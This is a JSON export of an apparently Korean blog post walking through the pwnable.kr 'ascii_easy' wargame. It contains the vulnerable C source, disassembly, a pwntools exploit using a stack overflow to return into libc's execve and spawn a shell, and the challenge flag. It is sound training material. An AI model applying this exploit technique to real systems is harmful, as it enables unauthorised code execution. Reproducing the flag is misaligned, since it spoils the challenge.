{"id":3273,"date":"2025-04-10T19:02:47","date_gmt":"2025-04-10T10:02:47","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3273"},"modified":"2025-04-10T19:02:48","modified_gmt":"2025-04-10T10:02:48","slug":"ascii_easy","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3273","title":{"rendered":"ascii_easy"},"content":{"rendered":"\n

Description<\/h1>\n\n\n\n
We often need to make 'printable-ascii-only' exploit payload.  You wanna try?\n\nhint : you don't necessarily have to jump at the beggining of a function. try to land anyware.\n\n\nssh ascii_easy@pwnable.kr -p2222 (pw:guest)<\/pre>\n\n\n\n
Files \/ checksec<\/h1>\n\n\n\n
ascii_easy@ubuntu:~$ ls\nascii_easy  ascii_easy.c  flag\tintended_solution.txt  libc-2.15.so\n\nascii_easy@ubuntu:~$ checksec .\/ascii_easy\n[*] '\/home\/ascii_easy\/ascii_easy'\n    Arch:       i386-32-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x8048000)\n    Stripped:   No<\/pre>\n\n\n\n
Source Code<\/h1>\n\n\n\n
    \n
  • ascii_easy.c<\/li>\n<\/ul>\n\n\n\n
    #include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <fcntl.h>\n\n#define BASE ((void*)0x5555e000)\n\nint is_ascii(int c){\n    if(c>=0x20 && c<=0x7f) return 1;\n    return 0;\n}\n\nvoid vuln(char* p){\n    char buf[20];\n    strcpy(buf, p);\n}\n\nvoid main(int argc, char* argv[]){\n\n    if(argc!=2){\n        printf(\"usage: ascii_easy [ascii input]\\n\");\n        return;\n    }\n\n    size_t len_file;\n    struct stat st;\n    int fd = open(\"\/home\/ascii_easy\/libc-2.15.so\", O_RDONLY);\n    if( fstat(fd,&st) < 0){\n        printf(\"open error. tell admin!\\n\");\n        return;\n    }\n\n    len_file = st.st_size;\n    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){\n        printf(\"mmap error!. tell admin\\n\");\n        return;\n    }\n\n    int i;\n    for(i=0; i<strlen(argv[1]); i++){\n        if( !is_ascii(argv[1][i]) ){\n            printf(\"you have non-ascii byte!\\n\");\n            return;\n        }\n    }\n\n    printf(\"triggering bug...\\n\");\n    setregid(getegid(), getegid());\n    vuln(argv[1]);\n\n}\n<\/pre>\n\n\n\n
    \ub85c\uceec libc \ud30c\uc77c(\/home\/ascii_easy\/libc-2.15.so<\/code>)\uc744 \uc9c0\uc815\ub41c \uc8fc\uc18c BASE<\/code>\uc5d0 \ub530\ub77c 0x5555e000<\/code>\uc5d0 RWX<\/code> \uad8c\ud55c\uc73c\ub85c mmap\ud55c\ub2e4.<\/p>\n\n\n\n
    \uc0ac\uc6a9\uc790\uac00 \uc785\ub825\ud55c argv[1]<\/code> \ubb38\uc790\uc5f4\uc5d0 \ube44 ASCII \ubb38\uc790\uac00 \ud558\ub098\ub77c\ub3c4 \uc788\uc73c\uba74 \uc885\ub8cc\ub41c\ub2e4.<\/strong><\/p>\n\n\n\n
    ASCII \ubb38\uc790\ub9cc \ub4e4\uc5b4\uac00\uc788\ub2e4\uba74, vuln<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294\ub370 \ub9e4\uac1c\ubcc0\uc218\ub85c argv[1]<\/code>\uc774 \ub4e4\uc5b4\uac00 strcpy<\/code> \ud568\uc218\ub97c \ud1b5\ud574 buf<\/code>\ub85c \ubcf5\uc0ac\ud55c\ub2e4.<\/p>\n\n\n\n
    Analysis<\/h1>\n\n\n\n
    \uc544\ub798 \ud568\uc218\uc5d0\uc11c \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0 \ucde8\uc57d\uc810\uc774 \uc788\uace0, \/home\/ascii_easy\/libc-2.15.so<\/code> \uac00\uc82f\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
    void vuln(char* p){\n    char buf[20];\n    strcpy(buf, p);\n}<\/pre>\n\n\n\n
    \ud558\uc9c0\ub9cc is_ascii<\/code> \ud568\uc218\uc5d0 \uc758\ud574 \uc544\uc2a4\ud0a4 \ubc94\uc704 \ub0b4\uc758 \ub370\uc774\ud130\ub9cc \ub4e4\uc5b4\uac08 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
    \uc258\uc744 \ud68d\ub4dd\ud558\uae30 \uc704\ud574 call execve<\/code> \uba85\ub839\uc5b4\ub4e4\uc744 \ucc3e\uc544\ubd24\uc744\ub54c,<\/p>\n\n\n\n
    b8967<\/code> \uc8fc\uc18c\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\uc5c8\ub2e4. (0xb8967 + 0x5555e000 = 0x55616967<\/code>)<\/p>\n\n\n\n
    ascii_easy@ubuntu:~$ objdump -d .\/libc-2.15.so  | grep '<execve' > execve.txt<\/pre>\n\n\n\n
       3edab: e8 30 98 07 00               \tcalll\t0xb85e0 <execve>\n000b85e0 <execve>:\n   b8616: 77 0b                        \tja\t0xb8623 <execve+0x43>\n   b8631: eb e5                        \tjmp\t0xb8618 <execve+0x38>\n   b86c4: e8 17 ff ff ff               \tcalll\t0xb85e0 <execve>\n   b876a: e8 71 fe ff ff               \tcalll\t0xb85e0 <execve>\n   b8802: e8 d9 fd ff ff               \tcalll\t0xb85e0 <execve> \n   b88c9: e8 12 fd ff ff               \tcalll\t0xb85e0 <execve> \n   b8967: e8 74 fc ff ff               \tcalll\t0xb85e0 <execve> \/\/ XXX\n   b8a32: e8 a9 fb ff ff               \tcalll\t0xb85e0 <execve>\n   b8c1b: e8 c0 f9 ff ff               \tcalll\t0xb85e0 <execve>\n   b8cda: e8 01 f9 ff ff               \tcalll\t0xb85e0 <execve>\n   b8e01: e8 da f7 ff ff               \tcalll\t0xb85e0 <execve>\n   b8ea8: e8 33 f7 ff ff               \tcalll\t0xb85e0 <execve>\n   d8b77: e8 64 fa fd ff               \tcalll\t0xb85e0 <execve>\n   d8eb5: e8 26 f7 fd ff               \tcalll\t0xb85e0 <execve>\n   d91ae: e8 2d f4 fd ff               \tcalll\t0xb85e0 <execve>\n   da486: e8 55 e1 fd ff               \tcalll\t0xb85e0 <execve><\/pre>\n\n\n\n
    libc215_base = 0x5555e000\n\naddresses = []\n\nwith open(\"execve.txt\", \"r\") as file:\n    for line in file:\n        line = line.strip()\n        # calll \uba85\ub839\uc5b4\uac00 \uc788\ub294 \uc904\uc5d0\uc11c\ub9cc \ucc98\ub9ac\n        if 'calll' in line:\n            parts = line.split(\":\")\n            if len(parts) > 1:\n                addr_str = parts[0].strip()\n                addr_int = int(addr_str, 16)\n                addr_int = hex(addr_int + libc215_base)\n                addresses.append(addr_int)\n\nprint(addresses)<\/pre>\n\n\n\n
    seo@seos-macbook ascii_easy % python3 collect_execve.py \n['0x5559cdab', '0x556166c4', '0x5561676a', '0x55616802', '0x556168c9', '0x55616967', '0x55616a32', '0x55616c1b', '0x55616cda', '0x55616e01', '0x55616ea8', '0x55636b77', '0x55636eb5', '0x556371ae', '0x55638486']<\/pre>\n\n\n\n
       b8967: e8 74 fc ff ff               \tcalll\t0xb85e0 <execve> \/\/ XXX<\/pre>\n\n\n\n
    \ub2e4\uc74c\uc73c\ub85c, execve<\/code> \ud568\uc218\uc5d0\uc11c \uc2e4\ud589\uc2dc\ud0ac 1\ubc88\uca30 \uc778\uc790\ub294 \ub9c8\ucc2c\uac00\uc9c0\ub85c \uc544\uc2a4\ud0a4 \ubc94\uc704 \ub0b4\uc5d0 \uc788\ub294 tag<\/code> \ubb38\uc790\uc5f4\uc744 \ub300\uc0c1\uc73c\ub85c \uc9c4\ud589\ud558\uc600\ub2e4.<\/p>\n\n\n\n
    (0x158544 + 0x5555e000 = 0x556b6544<\/strong>)<\/code><\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    execve \ud568\uc218\uc5d0\uc11c \uc2e4\ud589\uc2dc\ud0ac 2, 3\ubc88\uc9f8 \ub9e4\uac1c\ubcc0\uc218\ub294 NULL<\/code>\uc744 \uac00\ub9ac\ud0a4\ub294 0x15686C<\/code>.<\/p>\n\n\n\n
    (0x15686c + 0x5555e000 = 0x556b486c<\/strong>)<\/code><\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    vuln<\/code> \ud568\uc218\uc758 dest<\/code> \uc9c0\uc5ed\ubcc0\uc218\ub97c \uc0b4\ud3b4\ubcf4\uba74, ebp-0x1C<\/code>\uc5d0 \uc704\uce58\ud574\uc788\uae30\uc5d0 0x1c, 28<\/code>\ubc14\uc774\ud2b8\ub9cc\ud07c \ucc44\uc6b0\uace0, vuln\u2019s ebp<\/code> \ub36e\uc744 4\ubc14\uc774\ud2b8, \uadf8 \ub2e4\uc74c\uc5d0 \uc774\uc81c vuln\u2019s RET<\/code>\uc5d0 4\ubc14\uc774\ud2b8 \ub36e\uc744 \uc218 \uc788\uaca0\ub2e4.<\/p>\n\n\n\n
    char *__cdecl vuln(char *src)\n{\n  char dest[24]; \/\/ [esp+Ch] [ebp-1Ch] BYREF\n\n  return strcpy(dest, src);\n}<\/pre>\n\n\n\n
    solve.py<\/h1>\n\n\n\n
    from pwn import *\n# context.log_level = 'debug'\n\nlibc215_base = 0x5555e000\nlibc215_call_execve = libc215_base + 0xb8967\nlibc215_tag = libc215_base + 0x158544\nlibc215_null = libc215_base + 0x0015686C\n\npayload = b'A'*20\npayload += b'B'*4   \npayload += b'C'*4   \npayload += b'D'*4   #vuln's ebp \n\npayload = payload + p32(libc215_call_execve) + p32(libc215_tag) + p32(libc215_null) + p32(libc215_null)\n\narg = ['.\/ascii_easy', payload]\n\np = process(executable='.\/ascii_easy', argv=arg)\n# e = ELF('.\/ascii_easy')\n\np.interactive()\n\n# gef\u27a4  r ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP\n# Starting program: \/home\/ubuntu\/pwnable.kr\/ascii_easy\/ascii_easy ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP\n\n#     0x8049232 <vuln+0025>      nop    \n#     0x8049233 <vuln+0026>      mov    ebx, DWORD PTR [ebp-0x4]\n#     0x8049236 <vuln+0029>      leave  \n#  \u2192  0x8049237 <vuln+002a>      ret \n\n# gef\u27a4  info reg ebp\n# ebp            0x46454443          0x46454443 \/\/CDEF\n\n# >>> len('ABCDEFGHIJKLMNOPQRSTUVWXYZAB')\n# 28\n\n# 28~32 -> ebp\n# 32 -> ret\n\n# ascii_easy@ubuntu:\/tmp\/w4_8$ cat tag.c\n# #include <stdio.h>\n\n# int main(void) {\n# \tsystem(\"\/bin\/bash\");\n\n# \treturn 0;\n# }\n\n# gcc -o  tag tag.c\n\n# ASCII_armor_is_a_real_pain_to_d3al_with!\n<\/pre>\n\n\n\n
    Result<\/h1>\n\n\n\n
    ascii_easy@ubuntu:~$ mkdir -p \/tmp\/w4_ascii\nascii_easy@ubuntu:~$ cd \/tmp\/w4_ascii\nascii_easy@ubuntu:\/tmp\/w4_ascii$ ln -sf \/home\/ascii_easy\/ascii_easy .\nascii_easy@ubuntu:\/tmp\/w4_ascii$ ln -sf \/home\/ascii_easy\/flag .\n\nascii_easy@ubuntu:\/tmp\/w4_ascii$ nano solve.py\n\nascii_easy@ubuntu:\/tmp\/w4_ascii$ nano tag.c\nUnable to create directory \/home\/ascii_easy\/.local\/share\/nano\/: No such file or directory\nIt is required for saving\/loading search history or cursor positions.\n\nascii_easy@ubuntu:\/tmp\/w4_ascii$ gcc -o tag tag.c\ntag.c: In function \u2018main\u2019:\ntag.c:4:9: warning: implicit declaration of function \u2018system\u2019 [-Wimplicit-function-declaration]\n    4 |         system(\"\/bin\/bash\");\n      |         ^~~~~~\n\nascii_easy@ubuntu:\/tmp\/w4_ascii$ python3 solve.py\n[+] Starting local process '.\/ascii_easy': pid 1358454\n[*] Switching to interactive mode\ntriggering bug...\n$ cat flag\nASCII_armor_is_a_real_pain_to_d3al_with!<\/pre>\n","protected":false},"excerpt":{"rendered":"
    Description Files \/ checksec Source Code \ub85c\uceec libc \ud30c\uc77c(\/home\/ascii_easy\/libc-2.15.so)\uc744 \uc9c0\uc815\ub41c \uc8fc\uc18c BASE\uc5d0 \ub530\ub77c 0x5555e000\uc5d0 RWX \uad8c\ud55c\uc73c\ub85c mmap\ud55c\ub2e4. \uc0ac\uc6a9\uc790\uac00 \uc785\ub825\ud55c argv[1] \ubb38\uc790\uc5f4\uc5d0 \ube44 ASCII \ubb38\uc790\uac00 \ud558\ub098\ub77c\ub3c4 \uc788\uc73c\uba74 \uc885\ub8cc\ub41c\ub2e4. ASCII \ubb38\uc790\ub9cc \ub4e4\uc5b4\uac00\uc788\ub2e4\uba74, vuln \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294\ub370 \ub9e4\uac1c\ubcc0\uc218\ub85c argv[1]\uc774 \ub4e4\uc5b4\uac00 strcpy \ud568\uc218\ub97c \ud1b5\ud574 buf\ub85c \ubcf5\uc0ac\ud55c\ub2e4. Analysis \uc544\ub798 \ud568\uc218\uc5d0\uc11c \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0 \ucde8\uc57d\uc810\uc774 \uc788\uace0, \/home\/ascii_easy\/libc-2.15.so \uac00\uc82f\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4. \ud558\uc9c0\ub9cc is_ascii… \ub354 \ubcf4\uae30 »ascii_easy<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4],"tags":[25],"class_list":["post-3273","post","type-post","status-publish","format-standard","hentry","category-pwnable-kr","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3273","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3273"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3273\/revisions"}],"predecessor-version":[{"id":3276,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3273\/revisions\/3276"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3273"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3273"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3273"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}